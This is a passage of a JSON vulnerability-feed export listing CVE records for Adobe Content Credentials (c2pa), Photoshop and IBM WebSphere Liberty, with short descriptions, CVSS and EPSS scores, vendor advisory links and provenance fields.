exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:10.677Z","updatedAt":"2026-10-15T18:30:13.050Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100117","asOf":"2026-10-15T18:30:13.050Z"},"epss":{"probability":0.00608,"percentile":0.48809,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100117&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100117","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100117","type":"primary","publishedAt":"2026-10-13T22:17:10.677Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100117&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100117, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100115","cveId":"CVE-2026-100115","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Improper Access Control vulnerability that could result in a Security feature bypass.","summary":"CAI Content Credentials is affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:10.417Z","updatedAt":"2026-10-15T18:30:09.870Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100115","asOf":"2026-10-15T18:30:09.870Z"},"epss":{"probability":0.00456,"percentile":0.39276,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100115&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100115","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100115","type":"primary","publishedAt":"2026-10-13T22:17:10.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100115&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100115, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100114","cveId":"CVE-2026-100114","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Improper Access Control vulnerability that could result in a Security feature bypass.","summary":"CAI Content Credentials is affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:10.290Z","updatedAt":"2026-10-15T18:30:03.240Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100114","asOf":"2026-10-15T18:30:03.240Z"},"epss":{"probability":0.00456,"percentile":0.39276,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100114&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100114","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100114","type":"primary","publishedAt":"2026-10-13T22:17:10.290Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100114&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100114, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100113","cveId":"CVE-2026-100113","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass.","summary":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:09.967Z","updatedAt":"2026-10-17T02:17:02.740Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100113","asOf":"2026-10-17T02:17:02.740Z"},"epss":{"probability":0.00608,"percentile":0.48808,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100113&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100113","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100113","type":"primary","publishedAt":"2026-10-13T22:17:09.967Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100113&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100113, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97312","cveId":"CVE-2026-97312","aliases":[],"kind":"vulnerability","title":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:20:16.110Z","updatedAt":"2026-10-16T10:37:18.930Z","regions":["Global"],"vendor":"adobe","product":"photoshop","stacks":["Adobe","photoshop"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97312","asOf":"2026-10-16T10:37:18.930Z"},"epss":{"probability":0.00182,"percentile":0.07752,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97312&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97312","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97312","type":"primary","publishedAt":"2026-10-13T21:20:16.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97312&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97312, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96523","cveId":"CVE-2026-96523","aliases":[],"kind":"vulnerability","title":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:20:07.947Z","updatedAt":"2026-10-16T10:36:44.750Z","regions":["Global"],"vendor":"adobe","product":"photoshop","stacks":["Adobe","photoshop"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96523","asOf":"2026-10-16T10:36:44.750Z"},"epss":{"probability":0.00182,"percentile":0.07752,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96523&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96523","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96523","type":"primary","publishedAt":"2026-10-13T21:20:07.947Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96523&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96523, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96522","cveId":"CVE-2026-96522","aliases":[],"kind":"vulnerability","title":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:20:07.827Z","updatedAt":"2026-10-16T10:36:48.567Z","regions":["Global"],"vendor":"adobe","product":"photoshop","stacks":["Adobe","photoshop"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96522","asOf":"2026-10-16T10:36:48.567Z"},"epss":{"probability":0.00182,"percentile":0.07753,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96522&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96522","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96522","type":"primary","publishedAt":"2026-10-13T21:20:07.827Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96522&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96522, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95696","cveId":"CVE-2026-95696","aliases":[],"kind":"vulnerability","title":"IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow a remote attacker to cause a denial of service due to an uncaught exception.","summary":"IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow a remote attacker to cause a denial of service due to an uncaught exception.","detail":"IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow a remote attacker to cause a denial of service due to an uncaught exception.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:59.530Z","updatedAt":"2026-10-22T17:33:21.733Z","regions":["Global"],"vendor":"ibm","product":"websphere application server","stacks":["IBM","websphere application server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95696","asOf":"2026-10-22T17:33:21.733Z"},"epss":{"probability":0.00331,"percentile":0.26062,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95696&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95696","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95696","type":"primary","publishedAt":"2026-10-13T21:19:59.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7292228","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95696&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95696, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95695","cveId":"CVE-2026-95695","aliases":[],"kind":"vulnerability","title":"IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow a remote attacker to bypass security restrictions due to incorrect authorization.","summary":"IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow a remote attacker to bypass security restrictions due to incorrect authorization.","detail":"IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow a remote attacker to bypass security restrictions due to incorrect authorization.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:59.413Z","updatedAt":"2026-10-22T17:34:56.190Z","regions":["Global"],"vendor":"ibm","product":"websphere application server","stacks":["IBM","websphere application server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95695","asOf":"2026-10-22T17:34:56.190Z"},"epss":{"probability":0.00323,"percentile":0.25125,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95695&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95695","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95695","type":"primary","publishedAt":"2026-10-13T21:19:59.413Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7292228","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95695&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95695, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95641","cveId":"CVE-2026-95641","aliases":[],"kind":"vulnerability","title":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:59.300Z","updatedAt":"2026-10-22T17:35:57.540Z","regions":["Global"],"vendor":"adobe","product":"photoshop","stacks":["Adobe","photoshop"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95641","asOf":"2026-10-22T17:35:57.540Z"},"epss":{"probability":0.00182,"percentile":0.07753,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95641&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95641","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95641","type":"primary","publishedAt":"2026-10-13T21:19:59.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95641&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95641, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95639","cveId":"CVE-2026-95639","aliases":[],"kind":"vulnerability","title":"Photoshop Desktop is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Photoshop Desktop is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.","detail":"Photoshop Desktop is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:59.073Z","updatedAt":"2026-10-22T17:51:12.577Z","regions":["Global"],"vendor":"adobe","product":"photoshop","stacks":["Adobe","photoshop"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95639","asOf":"2026-10-22T17:51:12.577Z"},"epss":{"probability":0.00198,"percentile":0.09443,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95639&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95639","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95639","type":"primary","publishedAt":"2026-10-13T21:19:59.073Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95639&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95639, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95638","cveId":"CVE-2026-95638","aliases":[],"kind":"vulnerability","title":"Photoshop Desktop is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Photoshop 